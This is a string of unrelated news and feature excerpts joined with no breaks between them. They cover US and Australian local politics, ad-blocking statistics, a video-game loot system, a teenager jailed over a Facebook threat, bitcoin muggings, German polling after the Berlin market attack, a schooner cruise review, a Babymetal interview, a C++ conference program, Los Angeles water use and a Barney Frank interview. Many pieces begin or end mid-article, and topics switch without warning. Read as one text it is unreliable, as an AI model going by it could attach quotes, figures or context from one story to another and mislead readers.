The Senate Judicial Proceedings Committee is due to vote tomorrow on a series of bills related to marijuana, and it appears that legalizing marijuana for recreational use will not be one of them.
The committee chairman, Montgomery County Democrat Brian Frosh told WBAL News that the measure does not have the support of a majority of the 11 senators on the committee.
"I don't think we're going to get there this year. I think decriminalization would be a huge step forward, and I'm hoping will get there," Frosh told WBAL News.
Decriminalization would reduce the penalty for possessing small amounts of marijuana from 90 days in jail to a $100 fine. Frosh expects that bill to pass his committee.
He also expects his committee to consider a bill that would set up a network of medical marijuana dispensaries and growers, expanding on the law passed last year.
The recreational marijuana bill is sponsored in the Senate by Montgomery County Democrat Jamie Raskin, who sits on Frosh's committee. He told WBAL News this week that the decriminalization bill had the better chance of passing.
There were 615 million devices blocking ads worldwide by the end of 2016, 62% (308 million) of those mobile. Desktop ad blocker usage grew 17% year-on-year to 236 million.
PageFair
The largest geographical driver of mobile ad blocker use has been in the Asia-Pacific, where 94% of mobile ad blocking takes place.
There hasn't yet been mass adoption of a mobile ad blocking app in North America or Europe yet, but PageFair predicts mobile ad blocking would accelerate in those regions if device manufacturers or distributors began to pre-configure ad blocking software as standard.
PageFair Security was the main reason cited for downloading an ad blocker among consumers polled in the US for the report. 30% of those surveyed said virus and malware concerns drove them to download an ad blocker.
The next most-cited reason for getting ad blocker software was "interruption" (29%), according to the report.
Dr Johnny Ryan, PageFair's head of ecosystem, said in the company's previous reports, privacy has been the primary motivation to downloading an ad blocker.
Ryan told Business Insider: "In 2014 we were dealing with early adopter users of ad blocking. These people really care and understand about the real problems of privacy and data leakage in ad tech. I think what happened is the industry's lack of an approach or interest in privacy let the ad block genie out of the bottle."
He continued: "But now [ad blocker usage] has grown to a broader demographic for whom [an ad blocker] is closer to just a remote control. The genie is out of the bottle and if the industry had taken privacy and data protection seriously this might not have happened."
PageFair's previous reports and those of different organizations found there was a significantly higher usage rate of ad blockers among males. While it's still true that more men use ad blockers than women, the report showed that the ad blocking demographics have broadened out beyond solely young techies:
PageFair
The failure of ad block walls
The study also looked into how publishers are tacking the growing use of ad blocking software.
PageFair noted that 90% of ad blocker users surveyed have encountered an "ad block wall" that blocked them from viewing content unless they disabled their ad blocker.
However, almost three-quarters (74%) of those users said they simply left those websites rather than performing the steps required to whitelist them.
Ryan told Business Insider he wasn't surprised to see those sorts of figures.
He said: "It's very straightforward: There are not all that many publishers who have such exclusive content that they feel confident in establishing a paywall. By the same rationale, there cannot be that many publishers who have the confidence in establishing an ad block wall either. There are some publishers who claim, maybe rightly, 40% to 50% conversion ... [but there are] publishers who are turning away 50%, 60%, 70% of their traffic when they ask people to switch off their ad blocker. That's not sustainable for most the people we want to serve."
The alternative, Ryan says, is for publishers to listen to their audience about what's making them block ads, fix the problems, and serve them the solutions.
It's something Facebook did last year when it tweaked the technology to stop ad blocking software from working on its desktop website. The social network surveyed users, updated its ads preference tools to give users more control over the types of ads they were being served, then began circumventing the ad blockers because it believed it had created a better ad experience. On Facebook's Q3 earnings call, the company said desktop ad revenue grew 18% year-on-year in the quarter it began blocking the ad blockers.
PageFair has skin in the game here: It makes its money by helping publishers use technology to recoup money lost to ad blockers and find different ways to make revenue from those users. Often that's by using the Facebook method of serving ads — or an ad-light experience (77% of ad blocker users it surveyed said they found some ad formats permissible) — to ad blocker users. But Ryan made clear that if a publisher asks PageFair to help it set up an ad block wall, PageFair would oblige too.
The report ends with a fun factlet: "Adblock users are more educated." PageFair says 45% of ad blocker users it surveyed had attained a bachelor's degree or higher versus 30% across the US Census.
GameInformer talked about the supply drops and loot system in Call of Duty: WWII. They stated that SHG told them WWII loot will be cosmetic only and thematically appropriate during the launch window. SHG did not comment on what type of content will become available in the loot pool beyond that window.
Here’s exactly what GameInformer reporters said in their podcast:
“At least at launch they are going to be cosmetic only. We don’t know about after that. There was a lot of framing like, you know, during the launch window, we’re gonna keep it cosmetic only.
All these emotes and loot are period-specific. Even for that, they also said for launch window, it’s going to be period-specific. But you know, it might get whacky.”
Justin Carter was arguing about the video game League of Legends when he posted the distasteful Facebook comment.
"I'm f---ed in the head alright, I think I'ma (sic) shoot up a kindergarten and watch the blood of the innocent rain down and eat their still-beating hearts," he said.
Someone reported the comment to authorities, a search warrant was issued and Justin was arrested on February 14 - Valentine's Day. Bond was set at a high $500,000.
"He's very depressed. He's very scared and he's very concerned that he's not going to get out," Justin's father, Jack Carter, told CNN.
Justin could be charged with "making terroristic threats". He is being held in Comal County Jail, near San Antonio, Texas.
Justin's mother, Jennifer Carter, has posted a petition entitled "Release My Son Justin Carter - In Jail For a Facebook Comment" at Change.org.
"My son has been in jail for months because we can't afford to pay the half million dollar bail money," Mrs Carter said.
"Justin's a good kid. He wouldn't hurt anyone, let alone a child."
"The authorities' overreaction is ruining Justin's life. And it's setting a dangerous example trying to punish kids who often say strange things that I believe are protected under freedom of speech."
Jack Carter doesn't begrudge police the right to investigate threats of school violence. Justin's Facebook comment came just two months after 26 people, including 20 children, were murdered by a shooter at Sandy Hook Elementary in Newtown.
But Mr Carter says the need for vigilance doesn't excuse the treatment of his son.
"I definitely see the need to investigate such claims," Mr Carter said.
"But at some point during the investigation there has to be some common sense."
Former state Senate President Pro Tem Don Perata is endorsing a move to legalize marijuana in California.
“It may not pass this time, but I think it’s time we have a statewide conversation on the idea,” Perata said today.
Perata, who is running for mayor of Oakland, will join a kickoff press conference Friday for a measure that would allow anyone over 21 to possess or grow marijuana for personal use. It would allow each local government to decide whether to tax and regulate marijuana sales.
Supporters need to gather 433,971 signatures of registered voters by Feb. 18 to qualify the measure for the November ballot.
Perata said his decision to back the proposed initiative was prompted in part by the overwhelming approval in Oakland of a measure to tax medical marijuana earlier this year.
“It’s pretty well proven that medical marijuana has not unraveled society as some feared,” Perata said. “This is taking the debate to a new level.
Paul Chinn/The Chronicle
“It’s not something that the state Legislature is going to pass,” Perata said. There’s too much opposition from conservative Republicans, he noted, and not enough support from Democrats.
Meghan Lee and her 13-month-old daughter Emilia on Hyde Street. Credit:Penny Stephens She said residents who lived in the small pocket had bought their homes cheaply because they are in a compromised location. "We could only afford them because of where they are," she said. But Ms Meese said no one in the area had bought knowing about the government's proposed 24-hour truck ban on all surrounding arterial roads. The group started campaigning last year, but the new truck bans had made their plight worse, she said. One property in the strip, a three-bedroom home now on the market for $750,000, recently failed to sell at auction. The proposed truck ban will benefit other Yarraville residents, but will funnel all trucks wanting to get to the area onto this part of Hyde Street.
The government has promised repeatedly that no homes will be needed to be taken for the project. "A core principle was to avoid the acquisition of residential property," a report released on Monday by Roads Minister Luke Donnellan​ said. Ms Meese said this was a political response by Labor to the forced home acquisitions in the dumped East West Link project. "It's been designed to retrofit their political needs rather than the needs of residents here," she said. "How can you put a new off-ramp 300 metres from my door, and push [thousands] of extra trucks a day past my front yard and tell me that my amenity won't change?"
A spokeswoman for the Western Distributor Authority said the 11 houses near the corner of Francis Street and Hyde Street were not needed for the construction of the project. She said residents "have the opportunity to make a submission through the environment effects statement [process] about how the project might affect them". Meghan Segat is among those living on the section of Hyde Street affected. She said the truck bans would help others in the area but hurt her family. "It will put trucks on our street 24 hours a day," she said.
And she said the impacts were serious. "The more research we've done, the more dangerous we've realised these trucks are," she said. "Is my daughter going to be able to even play in our backyard anymore?" The government's report also reveals that another part of the area, Millers Road in Altona and Brooklyn, will see "a projected increase of up to 7000 trucks per day" by 2031. The government admits that this will lead to "reduced amenity and safety" for residents "on the western side of Millers Road". And there will be "a marginal increase" in pollution and greenhouse gas emissions as a result of the road, instead of a minor reduction if the new tollway was not built.
Bike lanes have nearly quadrupled bike traffic on Bloor, cycling groups say. ( Nick Kozak for the Toronto Star )
The lane was installed in August as a one-year pilot project. It required removing roughly 135 parking spaces on Bloor, but there are still about 860 spaces in parking lots adjacent to the route. Speaking to reporters Monday morning at an unrelated news conference about the Green P parking app, Tory said that the city is “rigorously and continuously monitoring all aspects” of the bike lane pilot, and that he would wait until all the studies are complete before deciding whether to support making it permanent. “We are doing this in a responsible manner. We are measuring everything that can be measured vis-à-vis the impact on pedestrians, cyclist, cars, businesses, and (neighbourhoods). And we will look at that information at the end of the time, which is about 10 months from now, and make a decision,” he said.
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The mayor said that he has visited with local business owners twice, and that they had mixed opinions on the lane. While some reported fluctuations in sales, “none of them said it was a catastrophic decrease or a euphoric increase,” Tory said. They mayor has yet to visit Korea Town, however, where some shop owners say their businesses are more dependent on drivers than their counterparts in the nearby Annex. Tory did say that the Toronto Parking Authority could “do a better job” of advertising its lots in the area, however, and promised to speak to the head of the authority about enhancing signage. “I think a lot of people don’t realize that those Green P lots are to the north of Bloor St., just to the north, right behind the stores, and that it’s a very convenient place for them to park,” he said. The 2.5-km separated bike lane runs between Shaw St. and Avenue Rd. and cost $500,000. Cycling groups say it has nearly quadrupled bike traffic on Bloor.
A New York City firefighter named Dwayne Richards was recently held up, stabbed and robbed by thieves who were after his bitcoin, the Observer has learned. From what we’ve discovered, Mr. Richards, who is a firefighter in lower Manhattan, was mugged and left bleeding after meeting the robbers under the pretense of exchanging bitcoin for cash in Williamsburg, Brooklyn. He’s alive, well, and refusing comment.
Typically, when we hear of bitcoin-related crimes, it’s a white-collar affair—millions of dollars going missing from an overseas exchange, or a plucky enthusiast finding himself in an international money-laundering scheme.
But robbing someone of his bitcoin in person can be an astonishingly effective way to make off with vast sums of capital quickly and untraceably. And Mr. Richards is far from the first to fall victim to bitcoin-related brutality.
Stagecoach robberies
Dean Katz is a one-man bitcoin exchange. Every day, he drives around New York buying and selling bitcoin, on call to a large customer base. He’s like a weed delivery guy, only instead of delivering drugs, he’s bringing people the future of financial transactions.
One day, he received a call from someone who had heard about his services, either online or through a referral, who wanted to visit him out in Queens at a secure location.
“He called because he wanted to gamble during the Super Bowl, which is pretty common,” Mr. Katz told the Observer.
When the person arrived, he held Mr. Katz up at gunpoint and forced him to transfer $8,500 worth of bitcoin. Then, the robber took $3,500 in cash and split.
‘Right now, it’s like the Wild West,’ Mr. Katz said, ‘and stagecoach robberies are going to happen.’
Mr. Katz reported the incident to the police, and he’s heard from a number of people also who trade bitcoin in person that there have been other incidents. Some of the occurrences have been physical robberies, others have just involved the use of counterfeit money—which as a hustling entrepreneur, Mr. Katz considers just as offensive.
Bitcoin may be a digital currency, but trading it in person is still one of the fastest and most reliable ways to exchange it. Signing on and having your account verified with an exchange can take weeks, and if you’re new to using cryptocurrencies, it’s helpful to have someone knowledgeable over your shoulder to walk you through the process.
Also, having someone with you in person is, ironically, a safer way to transact. It allows you to monitor the transaction and adds a layer of trust. Again, bitcoin is so new to so many people, there are plenty of creative ways to defraud people online. It accounts for why LocalBitcoins, a platform for finding people to do business with in your area, is one of the largest trading platforms in the world.
But if the person you’re dealing with turns on you, you’ll find all of the benefits of bitcoin turning on you, too.
The Wild West
The best thing about bitcoin is that you can move vast sums of money nearly instantly without needing to go through a bank or centralized, governing body for approval or monitoring. But one thing banks are good at is dealing with thieves.
If someone held you up at gunpoint and made you wire your money from a bank account, a bank would be able to see the receiving account and, in most cases, link it to the person who goes to collect from that account. Bitcoin isn’t exactly anonymous, per se, but a thief who is smart and careful enough can make it nearly impossible to be linked to an account once he’s received his payload.
New York State is currently working on controversial legislation to legitimize and regulate bitcoin without totally clipping its wings as a revolutionary tool. Mr. Katz says that he hopes there will eventually be physical, centralized exchanges and centers where bitcoin can be traded in safe, public forums. Until then, he simply has to watch his back.
With a general election expected next September, the right-wing populist Alternative for Germany recorded a 2.5-point boost to 15.5 percent compared to last week, according to the survey for the Bild newspaper by the Insa institute which will be released Saturday.
Chancellor Angela Merkel's Christian Democrats lost 1.5 points to hit 31.5 percent while the Social Democrats, junior partners in the ruling coalition, ceded one point to 20.5 percent.
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German populist party AfD supporters hold a placard reading 'Merkel must go' during a protest rally in front of the chancellory in Berlin in the wake of the terror attack
Demonstrators heap more pressure on the Chancellor with a protest two days after the attack
The poll was carried out between Wednesday and Friday among 2,083 eligible voters.
The prime suspect in the assault on the Berlin Christmas market which killed 12 people was a failed Tunisian asylum seeker.
The suspect, Anis Amri, who had been under surveillance as recently as September for suspected ties to the jihadist scene, was shot dead by Italian police in a gunfight in Milan earlier today.
In the immediate aftermath of the Berlin attack, the AfD blamed Merkel's liberal border policy, under which more than one million asylum seekers entered the country since 2015, for posing a serious security threat to the country.
One party official, Marcus Pretzell, even called the victims 'Merkel's dead', in a tweet later criticised by the AfD leadership.
German Chancellor Angela Merkel prepares to deliver a statement in Berlin today
At a news conference on Friday, Merkel pledged a 'comprehensive' analysis of what went wrong, and rapid reforms.
However she stressed that Germany would not sacrifice its principles in the fight against terrorism.
'Our democracy, our rule of law, our values, our humanity - they are the alternative to the hateful world of terrorism, and they will be stronger than terrorism,' she said.
MERKEL: BERLIN MARKET ATTACK A 'TERRIBLE DEED' German chancellor Angela Merkel has said she was 'shocked and very saddened' by the Berlin Christmas market attack which left 12 dead and almost 50 injured, describing it as a 'terrible' deed. Speaking at a press conference Mrs Merkel said the government 'assumed' it had been a terror attack, adding that: 'We will find the strength to continue living life as we want to live it in Germany - in freedom, openness and together.' She said: 'It is a terrible deed which one cannot understand. It took their lives; many people are injured, are fighting for their lives and fighting for their health, and in these hours I first and foremost think of these people - the dead, the injured, their families, their friends, their relatives. German chancellor Angela Merkel has said she was 'shocked and very saddened' by the Berlin Christmas market attack which left 12 dead and almost 50 injured, describing it as a 'terrible' deed 'I would like you to know that we - all of us, the whole of the country - are with you in deep sadness.' A man thought to be the driver of the lorry that smashed through the Christmas market has been arrested and security sources believe he is a 23-year-old Pakistani asylum seeker who arrived in Germany in February, German media reported. He is believed to have lived at a refugee accommodation centre in a hangar at Berlin's old Tempelhof airport, which special forces police stormed overnight. Mrs Merkel said: 'We don't have anything for certain, but we must assume it was a terrorist attack. Speaking at a press conference Mrs Merkel said the government 'assumed' it had been a terror attack, adding that: 'We will find the strength to continue living life as we want to live it in Germany - in freedom, openness and together' 'It would be very difficult for us to learn that a human being committed this deed who came to Germany to ask for refuge and asylum. 'It would be terrible for all of the Germans who are very active day by day in helping asylum seekers and refugees. It would be repugnant for those that are helping people that have come to this country and are asking for our help.' She added: 'Millions of people, including myself, are asking ourselves, how can you live with the fact that, while celebrating the festive season where we want to celebrate life, somebody has come along and taken so many lives. I only know that we do not want to, and we cannot live with it. 'We do not want to allow ourselves to be paralysed by terror. It might be difficult in these hours, but we will find a strength to continue living life as we want to live it in Germany, in freedom and openness and together.'
On Wednesday, a senior German politician has blamed the Christmas terror attacks on 'institutional political correctness', arguing that the suspect – a known ISIS fanatic who was on a deportation list – would not have been free to act if police had enforced the law.
The suspect, Anis Amri, 23, who was being monitored by police, would have been deported long ago if it wasn't for a liberal 'ideological agenda', he told MailOnline.
Hugh Theodore Bronson, the deputy leader of the Alternative For Deutschland party (AfD), said that German deportation law was ignored because the authorities were afraid of offending Muslims.
Hugh Theodore Bronson, the deputy leader of the Alternative For Deutschland party (AfD)
'The law as it stands is not being implemented,' he said. 'If it was, 12 people would still be alive, 48 people would not be in hospital, and there would have been no attack on Monday.'
Referring to the fact that the prime suspect, Anis Amri, had been arrested three times in Germany and was a known ISIS fanatic with weapons training who was due to be deported, Bronson added: 'There is a refusal by the authorities to implement German law.
'We are being too lenient in our implementation of the law. You can call it political correctness, you can call it an ideological agenda, but it cost 12 people their lives.
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Schooner Zodiac Spirits and Seafood Cruise – Day 1
WJ Tested: Sailing the San Juan Islands Aboard Schooner Zodiac Included Visits to James Island, Lopez Island and Roche Harbor on San Juan Island.
Sometimes the second time around is even more exciting than the first! Well, that’s just how we felt as we joined Schooner Zodiac for the 4-day Spirits and Seafood Cruise, our second trip aboard this historic wooden tall ship. Upon boarding all passengers were assembled on the deck and First Mate Kris Jones gave an overview of the ship and safety.
Next up was volunteer crew member Jacki, who gave us more safety info, a life vest demonstration and introduced Captain Tim Mehrer and various members of crew – Richard, Sam, Amanda, Ken, Jordan, Cook Ian Relay… and Abby the cat. Following Jacki’s demo we were given our assigned bunk numbers and shown below to the main salon by another member of the volunteer crew.
Although the bunks are comfortable, they are not well-suited to anyone claustrophobic (Viv slept with the curtains open and was fine) as they afford very little headroom (forget sitting up in bed). A pillow, sheet, blanket and lamp are provided in the bunk, but passengers should bring their own sleeping bag to use during the trip.
By 10:30 am Schooner Zodiac motored out into Bellingham Bay – which we didn’t even realize had happened until after we went back up on deck (good news for anyone that gets seasick).
Passengers on Schooner Zodiac cruises have the option of participating (or not) in the daily sailing activities. From complete novices to experienced sailors this is a wonderful learning opportunity to help sail this magnificent wooden schooner built in 1924. For those that just want to sit back, take in the scenery and leave the sailing up to others, that’s perfectly acceptable, too.
So you’re not familiar with sailing terminology? No problem! Working alongside Schooner Zodiac’s skilled crew that are used to training complete novices is one of the best ways to learn. Jill was assigned to assist with the topping lift on the mainsail and Viv was on the main boom. When the cry of “Sailing Stations” rang out, all crew and passengers quickly made their way to their assigned tasks.
Raising the 4000 sq. ft. mainsail of Schooner Zodiac, the largest on the west coast of North America, is no easy task. As many hands and as much muscle that is available are required to raise the mainsail as the First Mate called out “Haul away peak!” and “Haul away throat!”.
Once all of Schooner Zodiac’s four sails were raised and secured it was time to coil the lines on deck before sitting back and enjoying the spectacular scenery of the San Juan Islands as we sailed by.
After all that expended energy, we were happy when at 1:30 pm Cook Ian Relay rang the bell calling all passengers and crew to lunch. One thing to note, nobody goes hungry! For lunch we enjoyed tomato basil soup, Reuben sandwiches, Shepherd’s pie and two kinds of salads.
During the time spent both motoring and under sail, passengers were able to take part in duty rotation. These 30-minute assignments included the chart room (learning how to read sailing charts and GPS), time at the helm (in charge of keeping the mighty “Z” on course), bow watch (looking out for obstacles of all sizes) and messenger (relaying messages between the bow watch and helm).
As well as taking all hands to raise the sails, it also takes them to lower and secure the sails.
Once our sailing was finished for the day, Schooner Zodiac dropped anchor in the bay between Decatur Island and James Island. At 5 pm passengers were transported on one of the motorized dinghies over to James Island (a state park) where we enjoyed a picnic (salami with cheese, cashews, crackers, hot crab dip and assorted cheeses) and wine tasting.
Michael Davolio, the host from Masquerade Wine Company of Bellingham, Washington, introduced passengers to six Columbia Valley wines:
2012 Chenin Blanc – Columbia Valley
2012 Pinot Gris
2011 Chardonnay – Columbia Gorge
2011 Rose Cabernet Franc
Syrah Columbia Valley
Cabernet Sauvignon Columbia Valley
The crew returned at 6:45 pm in the small motor dinghies to take us back to the Zodiac.
Spectacular views of Mt. Baker and surroundings were visible from our location between Decatur Island and James Island as we enjoyed the evening light flicker off the ocean.
Dinner aboard was served around 8:30 pm and dining on deck was enjoyed by all as the sun started to slowly slide behind Decatur Island. Cook Ian filled our stomachs once again with choices including spaghetti (served with a white clam sauce or red mushroom and sausage sauce), cheese sticks, bread, two salads, and dessert (cherry shortbread cookies and a coffee/almond mousse). Schooner Zodiac provided a few bottles of Masquerade wine to accompany dinner.
Once the sun set and darkness fell, some of the crew and a few younger passengers huddled around, passing Herman Melville’s classic, Moby Dick, to read out loud.
As the night was beautiful and not chilly, at 10 pm we decided to sleep out on deck. So we brought our sleeping bags and sleeping pads (we had brought them with us just in case) up on deck and hunkered down under the stars. What a spectacular way to complete an exhilerating first day back aboard Schooner Zodiac!
Next… Sailing on Schooner Zodiac to Lopez Island
If You Go:
Note: WAVEJourney were guests of Schooner Zodiac for their July 18 – 21, 2013 Spirits and Seafood Cruise. Read our full disclosure statement to see that this has no effect on our reviews.
How does it feel to be back at Download again? "This year, we were honored to perform on the main stage for the first time. Although it was raining really hard, I was glad that there were so many people enjoying our set and being excited to see our show." Which other bands are you most looking forward to watching at Download? "I’m looking forward to see RAMMSTEIN’s show and also KORN and ALL TIME LOW." You know you are No.2 in our Top 10 bands to see at Download Festival 2016? When we shared the news on Twitter your fans went nuts. "I am extremely pleased and honored to hear that there had been many people were looking forward to our show. I always put my best into our live performances and most of all it is always important for us to keep true to what we do as BABYMETAL."
EXPRESS Not even torrential rain could stop Babymetal at Download this year
Do you have a favourite song from your new album? “Meta Taro is my favorite song. "We weren’t able to perform this song at the festival but it’s our first time tackling Viking Metal. "I think it’s a song that everyone could sing and dance together so I’d like to enjoy this song with everyone at our show." How did your love of Heavy Metal start? "It started when I saw many other bands performing. From the beginning I felt that Heavy Metal is not just about music but also something that you feel with your heart. It is music that helps you express your emotions and feelings."
You’ve been performing across Europe this week, how do the audiences in Holland and Germany compare to the UK? "From the reactions during the show, I have an impression that there are many Metal Heads coming from Holland and Germany. "I also noticed that in every country, everyone in Europe sings along the melody of the SU-METAL part." What was it like performing at Wembley Arena back in April? "I was very nervous, but as the show went on I was glad that we were able come together with the audience. "I was very moved when I saw many people holding up their national flags when we were performing the English version of THE ONE.”
UK's best summer music festivals Fri, June 1, 2018 From Glastonbury or Camp Bestival to The Big Feastival, family-friendly raves to boutique glamping, the UK summer festival season offers something for everyone. Play slideshow PH 1 of 18 At Big Feastival's annual food and music festival.Entertainers and chefs fly in from all over the world to wow the crowd
published at 28.04.2014 11:02 by Jens Weller
I have mentioned it already several times, that Meeting C++ will have this year for the very first time a sponsored student program. So, now its finally time to announce the details...
This innovation for Meeting C++ is the work of my sponsor think-cell, which is this years exclusive student program sponsor! First Ideas already took last year shape, but too late to make it to last years conference, so think-cell and I had some time to think about how a student program should really look like. As you might remember, think-cell already sponsored the dinner at the first Meeting C++ conference, and last year the great lounge in the break area, and is also very committed to the German part of the C++ committee.
The details...
The Meeting C++ Student program will enable 50 students to attend Meeting C++ 2014 plus 3 exclusive workshops organized by think-cell one day before the conference on December 4th. So, for students this will be a 3 day conference! After the workshops you will be invited to the student dinner by think-cell. More details on this day later, currently this is still in the planning stage.
Unlike last year, student tickets will not be sold this year, instead you need to take part in the program by submitting your application to think-cell. You should include your school certificate and be enrolled at a European university. Feel free to also include further links to your C++ projects and activities. The final selection of the 50 students will be made by think-cell by November, application deadline is November 3rd. All the work and advertising for the program is done by think-cell.
And in think-cells own words:
"To support emerging talent, think-cell will facilitate the participation of young academics by introducing a sponsored student program. In addition to free attendance of the conference, this program includes free entrance to three C++ related workshops on December 4 and a dinner, exclusive to student ticket holders only."
So, thank you think-cell! Supporting Europes C++ talents in creating a europe wide network for C++ was one of the driving goals for me to start Meeting C++. I am very pleased, that now in the 3rd year, think-cell enables the young talents in Europe to join us at the conference!
Join the Meeting C++ patreon community!
$20 is the figure being bandied about for this cheaper plan, though significantly absent from the rumors are what exactly the bandwidth caps would be. AT&T already has tiered pricing for its Data Connect service on other smartphones; the pricing matrix is pretty baffling, but it looks as if there are $20 plans that right now have 10 megabyte monthly caps, with every megabyte over that coming in at $1.90. I would call myself an enthusiastic if not obsessive user of the iPhone's data features, and I used about 170 MB of bandwidth last month, by comparison. I think that AT&T would have to recalibrate its tiers to fit with the iPhone's data use profile, but that's still a scary low number to use for comparison.
Someone in the posh Los Angeles neighborhood of Bel Air has been using about a million gallons of water a month — enough for 90 houses in the area. That’s a lot of water in any part of the world, let alone in a state and city in the middle of a drought. Yesterday, the L.A. City Council voted to crack down on this “Wet Prince of Bel Air” and other hydration hogs.
Earlier this month, the Center for Investigative Reporting attempted to identify the Bel Air resident who’d used 11.9 million gallons of water between May 2014 and April 2015, at a cost of approximately $1.1 million. But city officials refused to publicly this particular resident.
According to the CIR’s investigation, there are 100 similar “mega-users” in L.A., averaging 4.26 million gallons of water per year.
In fact, all ten of California’s biggest mega-users either live in Bel Air or in other swanky parts of L.A. like Brentwood or Beverly Hills. All of these houses used more than six million gallons in a year.
At yesterday’s vote, the councilman representing Bel Air declared, “I’m taking responsibility for the extravagant and embarrassing water use in my district.”
His motion [PDF] gives the city’s Department of Water and Power 30 days to file a report on “measures that can be taken in the short and long-term to address excessive water use… including imposing severe financial penalties and, as a last resort, shutting-off water for water abusers.”
“In such a horrific drought, it is irresponsible to be using water at such a rate,” reads the motion, “and a slap in the face to neighbors who have heroically complied with austere water use measures.”
Officials for DWP seemed baffled by the numbers.
“It is very difficult to explain how they can possibly be using that much water,” one told the City Council. “We want to get inside the walls and check that out.”
Last January, the former U.S. congressman from Massachusetts wrapped up a thirty-plus year stint making his voice heard throughout the halls of the U.S. Capitol, routinely getting into scrapes with those on the right but never shy about mixing it up with those within his own party.
He came out as gay in 1987, making him the first member of Congress to do so voluntarily. But his sexual orientation took a backseat to his personality. He’s brash. He doesn’t suffer fools. He’s very funny. Passionate. A master at political procedure. It’s a mixture that led him to take the lead on numerous LGBT issues when others wouldn’t, but he’s probably best known for being a leading co-sponsor on the 2010 Dodd-Frank Act, which reformed the entire U.S. financial industry.
The new documentary “Compared To What: The Improbable Journey of Barney Frank,” shows all those sides of Frank and more, revealing what it took to not only survive but thrive as an openly gay man in the higher levels of political power. The film screens Oct. 4 at Landmark Midtown Art Cinema as part of the Out On Film festival and will be followed by a Q&A with co-director Sheila Canavan.
Frank called the GA Voice from the Ogunquit, Maine home he shares with his husband of two years, James Ready. In this exclusive interview, he discusses how his humor helped him in political dust-ups, what the LGBT movement is missing, why he doesn’t owe the transgender community an apology and what he misses (and doesn’t miss) about Congress.
How did the documentary come about? Who approached whom?
I had known [co-director] Sheila Canavan years ago in the late 60’s when I worked for the mayor of Boston. We had not really reconnected. I had announced my retirement around Thanksgiving of 2011 and she approached me. The movie shifted focus because they wanted to document my last year, which I thought could be fun. But there was a mismatch of expectations because they wanted to sit in on various official meetings and I really couldn’t do that. I have to give people privacy when we’re negotiating a bill or talking about strategy. So they decided to broaden it to my whole life.
What made you want to do it?
Probably ego, to have a movie made about you. But also I thought, and I’ve been reaffirmed in this, we’ve obviously made a lot of progress in diminishing the prejudice against LGBT people and we’ve gone a long way in establishing our rights. But there’s still a lot of prejudice out there and a lot of negativity that gets thrown at younger gay people. And I thought my example could be helpful, the fact that I could come out and get married and still be able to move ahead in the political world.
Also, one of the things that troubles me today about American public opinion is this purely negative view of politics and politicians. I blame the internet. There’s all kinds of nonsense on the internet that reinforces the view that we [politicians] have all these special privileges. There’s the notion that members of Congress live lives unlike those of most Americans, that we are insulated and pampered.
You’re known for being very direct, to say the least, when arguing your point, but your sense of humor has softened the blow in a lot of confrontations you’ve had. How did your wit help you in your political career?
Well it softens the blow in some ways but sharpens it in others. It does help keep the temperature down so you don’t get into this vitriol, but on the other hand…look, people are bombarded with information and bombarded with opinions. One of the things you want to do is to find a way to make the point you want to make stand out. And I think humor is a good way to do that. People will remember something that was funny more than just another comment.
But to be honest, that’s not the main reason. I resort to humor for me. I enjoy it, it relieves the boredom. And also frankly it’s a weapon. Nobody likes to be made fun of, nobody likes to be laughed at. People may be nervous that I’ll make them look bad and that’s very helpful, it’s a deterrent.
Do you have a favorite debate or altercation with someone where you walked away knowing you had gotten the best of them?
There was one time that I felt that I’d be able to make the point in a memorable way. I was debating Ralph Nader, who was attacking our financial reform bill, I think inaccurately and in an uninformed way. I think people on the left who always want to say government is terrible don’t realize that what they’re doing is hurting our ability to get support for doing things. And he was making these unfair and inaccurate criticisms and I said, ‘Ralph, you are luxuriating in the purity of your irrelevance.’ That summed up what I wanted to say and I think he was taken aback by it. But I was sad about it because he used to be very relevant and I think it was after the 2000 election that he began to lose his credibility.
On the flip side of that, do you regret any exchanges or debates you got into over an issue, where you maybe felt you went too far?
Yeah there was one time on the floor of the House where I accused the man who was presiding of being unfair. The next day I went on the floor and apologized. A private apology for a public wrong is almost worse than nothing, so on a couple of occasions I have apologized.
You were out front on introducing gay rights legislation long before you came out. How concerned were you that taking the lead on the community’s issues might reveal your then-secret?
Well, I write about this in my memoir which will be out on March 18 by the way. First I said, ‘Well, if I file it [the first gay rights legislation in Massachusetts history], people are going to think that I’m gay,’ because I was 32 and unmarried. On the other hand people would think, ‘Well if he was gay, he wouldn’t have filed it.’ So it went back and forth. I said, ‘You know what, people will play this both ways and it cancels it out,’ and I just said, ‘At any rate, I just can’t not do this. It’s bad enough that I’m gonna be hiding my sexual orientation, I’m certainly not going to be ducking away from standing up for it.’ In general, politicians should not be outed, but closeted politicians who are engaged in anti-gay activity have lost the right to the closet.
What’s the LGBT movement missing right now?
I’ve been in a lifelong battle with many people in the community over the importance of participating in politics. The notion that registering to vote and lobbying elected officials and putting pressure on them, somehow that’s contrasted with militant activity like demonstrating and marching. The trouble with the demonstrating and the marches is, unless they’re very carefully targeted, they’re ineffective and in some cases worse than that because people think they’ve accomplished something by showing up at a parade. Parades are fine, have fun, but they’re not a political instrument most of the time.
Combined with the fact that many on the left, where many of our people think, ‘Oh politics isn’t worth anything and they don’t pay attention to us.’ Well they do. The counterexample I give people is, you want a militant organization that is successful, I would cite the National Rifle Association. When’s the last time you saw the National Rifle Association have a march or a demonstration? They don’t. What they do is focus intensively on getting their members to write or call or go see every member of Congress and to vote in primaries. So I think it’s gotten better but people in the LGBT community still undervalue militant political participation as if that was somehow ineffective.
The other is this. I know people say to me, ‘Well, we should be bipartisan.’ I wish there was bipartisanship, but pretending that it is what it isn’t doesn’t help. And the fact is there’s no issue in America today where the gap between the political parties is greater than on LGBT rights. The Democrats have become 90-plus percent supportive, with the Republicans overwhelmingly opposed on the whole range of issues. The fact is the last remaining item on the national agenda is an inclusive anti-discrimination act and it will not happen until and unless the Democrats have the House, the Senate and the presidency.
Human Rights Campaign President Chad Griffin just apologized at the transgender conference Southern Comfort for not including the transgender community in the Employment Non-Discrimination Act in 2007 after former HRC President Joe Solmonese promised to do so. Do you feel you have anything to say to the transgender community about that?
Chad Griffin’s one of those people whose political judgment seems to be off. The fact is that HRC and I and everybody else were for an inclusive bill in 2007. The issue was we did not have the votes for an inclusive bill. It wasn’t a failure of will. Then the question was, was something better than nothing? Was it better to pass a bill that was protective of lesbian, gay and bisexual people or pass nothing? We tried very hard.
